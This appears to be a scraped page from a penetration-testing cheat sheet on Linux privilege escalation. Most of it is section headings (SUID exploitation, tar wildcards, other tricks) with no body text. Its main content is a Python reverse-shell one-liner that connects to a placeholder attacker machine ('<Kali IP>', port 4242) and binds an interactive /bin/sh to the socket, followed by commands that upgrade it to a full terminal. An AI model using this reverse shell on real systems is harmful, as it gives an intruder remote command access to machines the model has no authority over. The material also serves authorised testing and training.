Linux Privilege Escalation
Get tty (text terminal)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<Kali IP>",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python -c 'import pty; pty.spawn("/bin/bash")'
or
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm // give us access to term commands such as clear.Gather Infos and spiking
Exploiting SUID Executables(bash, binary)
Exploit tar wildcards
Automatic tools and observe
Other Dirty Tricks
Expand knowledge and cheatsheet
Last updated